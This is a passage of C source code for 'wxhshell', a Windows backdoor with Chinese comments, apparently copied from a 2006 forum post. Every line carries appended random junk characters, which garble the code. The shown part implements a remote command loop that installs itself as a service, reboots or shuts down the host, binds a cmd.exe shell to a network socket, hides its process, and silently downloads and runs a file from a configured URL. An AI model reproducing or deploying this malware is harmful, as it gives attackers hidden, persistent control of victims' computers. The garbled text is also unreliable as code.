      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B}fd#dr  
    break; Fzmc#?  
  } '/2)I8  
  // 安装 /`s{!t#Y  
  case 'i': { aO &!Y\=@  
    if(Install()) yByxy-~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mh "iyDGA  
    else #u"$\[G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jI/#NCKE  
    break; k|4}Do%;  
    } }y>/#]X  
  // 卸载 yU|=)p5  
  case 'r': { y3@m1>]09  
    if(Uninstall()) O%s7}bR3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >zX`qv&>  
    else dt5`UBvUg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UX24*0`\~  
    break; d~qZ;uw  
    } HC!5AJ&+}v  
  // 显示 wxhshell 所在路径 7<0oK|~c#  
  case 'p': { y?'Z'  
    char svExeFile[MAX_PATH]; blx"WVqo  
    strcpy(svExeFile,"\n\r"); B,b^_4XX$  
      strcat(svExeFile,ExeFile); LkyT4HC8n  
        send(wsh,svExeFile,strlen(svExeFile),0); sW]>#e  
    break; kF-7OX0)  
    } o%E-K=a  
  // 重启 "M}3T?0 O  
  case 'b': { tS3!cO\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OE/r0C<&  
    if(Boot(REBOOT)) ,5& Rra/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wd*V,ZN7  
    else { JD)wxoeg  
    closesocket(wsh); e'X"uH Xt.  
    ExitThread(0); Z6fR2A~Q[  
    } o*5b]XWw  
    break; 7Vo[zo  
    }  Il]p >B  
  // 关机 4Q(w D  
  case 'd': { f?lnBvT|b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L-`?=- 9`  
    if(Boot(SHUTDOWN)) %Y=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hy1pIUsx  
    else { ~,m5dP#[bV  
    closesocket(wsh); ra F+Bt`  
    ExitThread(0); 3ih:t'N-  
    } 8;i'dF:)  
    break; Dc9Fb^]QOG  
    } =AP0{  
  // 获取shell [{PmU~RMYf  
  case 's': { Iu ve~ugO  
    CmdShell(wsh); 3Vk<hBw2  
    closesocket(wsh); xzw2~(lo  
    ExitThread(0); 0zpA<"S  
    break; b"(bT6XO!  
  } $Yj4&Two<  
  // 退出 *5mJA -[B+  
  case 'x': { :!w;Y;L:+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H,(4a2zx  
    CloseIt(wsh); LHMA-0$?)  
    break; u}-)ywX  
    } v*&WqVg  
  // 离开 Va$JfWef  
  case 'q': { s+9b.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0Wb3M"#9<  
    closesocket(wsh); YK V"bI  
    WSACleanup(); (m() r0:@  
    exit(1); 2Uy}#n|)r  
    break; u vyvy  
        } +7Qj%x\  
  } XZ 4H(Cj  
  } ^. ~ F_  
r12e26_Ab  
  // 提示信息 3uuB/8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K7},X01^  
} FT h/1"a  
  } /t04}+,e ^  
l(3\ekU!  
  return; l8 XY  
} ]Z>zf]<  
:@,UPc-+  
// shell模块句柄 ui&^ m,  
int CmdShell(SOCKET sock) ]g]~!":  
{ %(~8a  
STARTUPINFO si; b/UjKNf@  
ZeroMemory(&si,sizeof(si)); U=N]XwjVK<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sDS0cc6e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sf,9Ym  
PROCESS_INFORMATION ProcessInfo; pW5PF)([  
char cmdline[]="cmd"; !}J19]\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R 5Cy%  
  return 0; (!koz'f  
} }/VSIS@Z  
m8 Ti{w(  
// 自身启动模式 5wI j:s  
int StartFromService(void) &P(vm@*  
{ E#`JH  
typedef struct { \5-b:#_  
{ Ip*[H#h  
  DWORD ExitStatus; :i]g+</  
  DWORD PebBaseAddress; Cgn@@P5ZC  
  DWORD AffinityMask; oI9-jW  
  DWORD BasePriority; 1A{iUddR  
  ULONG UniqueProcessId; QW>(LGG=  
  ULONG InheritedFromUniqueProcessId; h<FEe~  
}   PROCESS_BASIC_INFORMATION; ^ =RSoR  
O;RNmiVoq  
PROCNTQSIP NtQueryInformationProcess; ; Rd\yAG  
6gD|QC~;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fqZ+CzH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C/!8NV1:4  
B:tGD@  
  HANDLE             hProcess; Ts 3(,Y  
  PROCESS_BASIC_INFORMATION pbi; qR8 BS4q_p  
33w(Pw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eo'C)j# U  
  if(NULL == hInst ) return 0; b* o,re)Dj  
jAOD&@z1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1~9AQ[]w8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;aUI3n%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G9jlpf5>  
!@@rO--&  
  if (!NtQueryInformationProcess) return 0; `*Jw[Bnh8  
Xj;5i Vq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ge4 tc  
  if(!hProcess) return 0; +( V+XT  
cP[]\r+Kj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q pFzK  
"6P-0CJ  
  CloseHandle(hProcess); x^JjoI2vf  
Vr<ypyC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <>K@#|%Y&  
if(hProcess==NULL) return 0; ^<nN~@j  
!d=Q@oy5  
HMODULE hMod; 'gv7&$X}4  
char procName[255]; OvW/{  
unsigned long cbNeeded; bHH=MLZR:  
.@;,'Xw1~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >jBnNA@  
o!M*cyq  
  CloseHandle(hProcess); da53XEF&  
^p!bteA>  
if(strstr(procName,"services")) return 1; // 以服务启动 s*W)BK|+?  
]<\; -i)  
  return 0; // 注册表启动 Ow7I`#P  
} IXmO1*o@  
POvpaPAZ<  
// 主模块 kEs=N(  
int StartWxhshell(LPSTR lpCmdLine) *oz=k  
{ 0!,)7  
  SOCKET wsl; Ss{  
BOOL val=TRUE; {T[/B"QZG  
  int port=0; rCO:39L-  
  struct sockaddr_in door; "rI By  
o'nrLI(t  
  if(wscfg.ws_autoins) Install(); =AJ I3 'x  
2 -M]!x)  
port=atoi(lpCmdLine); A[m4do  
D^H<)5d9  
if(port<=0) port=wscfg.ws_port; 1MzOHE  
Rd.[8#7VE  
  WSADATA data; g_w4}!|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U[8Cg  
5-pz/%,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6">jf #pE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'zhw]L;'g  
  door.sin_family = AF_INET; 0yxMIX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .o5r;KD  
  door.sin_port = htons(port); o$r]Z1  
1f1J'du  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <U$A_ ]*w  
closesocket(wsl); ,/g\;#:{@]  
return 1; nNff~u)I  
} x9NLJI21/  
(FAd'$lhX}  
  if(listen(wsl,2) == INVALID_SOCKET) { md/Z[du:'  
closesocket(wsl); uz+b  
return 1; p }bTI5  
} fE/8;v!=  
  Wxhshell(wsl); -j_J 1P0,  
  WSACleanup(); 8}W06k>)%  
:1wMGk  
return 0; ?y{C"w!   
N{G+|WmQ  
} UI:{*N**Z  
eMvb*X6  
// 以NT服务方式启动 U < p kg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <`q|6XWL  
{ _k@{> ?(a  
DWORD   status = 0; Q(KLx)  
  DWORD   specificError = 0xfffffff; 0fPqO2  
%?EOD=e =  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *<!W k\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =`X@+~%-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D4r5wc%  
  serviceStatus.dwWin32ExitCode     = 0; ZCMB]bL-e  
  serviceStatus.dwServiceSpecificExitCode = 0; w%k)J{\  
  serviceStatus.dwCheckPoint       = 0; ^q,KR ut  
  serviceStatus.dwWaitHint       = 0; $0Y&r]'  
0PnW|N0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ~Rcd  
  if (hServiceStatusHandle==0) return; z~xN ]=  
[#td  
status = GetLastError(); 05MtQB   
  if (status!=NO_ERROR) V|.aud=7z  
{ E `)p,{T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zY|]bP[NEH  
    serviceStatus.dwCheckPoint       = 0; AAdRuO{l1  
    serviceStatus.dwWaitHint       = 0; ^ >ca*g  
    serviceStatus.dwWin32ExitCode     = status; v}]x>f  
    serviceStatus.dwServiceSpecificExitCode = specificError; v[6BESu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b~b(Ed{r  
    return; <5(8LMF  
  } .>?["e#,  
,\DB8v6l\A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9hT^Y,c0  
  serviceStatus.dwCheckPoint       = 0; y+?tUSPP  
  serviceStatus.dwWaitHint       = 0; -i'T!Qg1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /)de`k"  
} v mOXB#7W  
9,'5~+7  
// 处理NT服务事件,比如:启动、停止 8'B\%.+"8e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Prhq ~oI4  
{ 4T9hT~cT7  
switch(fdwControl) KX)xCR~  
{ 4W.;p"S2  
case SERVICE_CONTROL_STOP: %`}CbD6  
  serviceStatus.dwWin32ExitCode = 0; uPV,-rm[F_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $_Qo  
  serviceStatus.dwCheckPoint   = 0; !r.}y|t?;  
  serviceStatus.dwWaitHint     = 0; @WEem(@  
  { ojVpw4y.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BPrA*u }T  
  } 4 _N)1u !  
  return; ja7Z v[  
case SERVICE_CONTROL_PAUSE: 0 \LkJ*i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =pcj{B{qa  
  break; >Fld7;L?<  
case SERVICE_CONTROL_CONTINUE: Mn~A;=%qF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !nj%n  
  break; &J hN&Ur  
case SERVICE_CONTROL_INTERROGATE: vo`wYJ3W  
  break; fsjA7)/  
}; d=qpTb;(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yK?~X V:  
} TKLy38  
{|xwvTl J  
// 标准应用程序主函数 qW7"qw=   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4&ea*w  
{ Sc6wC H  
yekIw  
// 获取操作系统版本 I I>2\d|   
OsIsNt=GetOsVer(); sjTsaM;<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $xu?zd"  
D?\K~U* >  
  // 从命令行安装 F41!Dj7  
  if(strpbrk(lpCmdLine,"iI")) Install(); P1) 80<t  
`FJnR~d  
  // 下载执行文件 fr#lH3  
if(wscfg.ws_downexe) { `8dE8:# Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xk|$Oa  
  WinExec(wscfg.ws_filenam,SW_HIDE); ri JyH;)  
} eN> (IW  
>>$IHz4Z"  
if(!OsIsNt) { LDBR4@V  
// 如果时win9x,隐藏进程并且设置为注册表启动 ){YPP!8cI  
HideProc(); Ix"c<1 I  
StartWxhshell(lpCmdLine); cZ!s/^o?f  
} iQ9#gPk_9  
else uAjGR  
  if(StartFromService()) <Z m ,q}  
  // 以服务方式启动 gv[7h'}<  
  StartServiceCtrlDispatcher(DispatchTable); l(]\[}.5  
else 5&X  
  // 普通方式启动 Ve8!   
  StartWxhshell(lpCmdLine); ==XP}w)m  
zt,-O7I'1  
return 0; n~&R_"mv(  
}
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只看该作者 1 发表于: 2006-10-10
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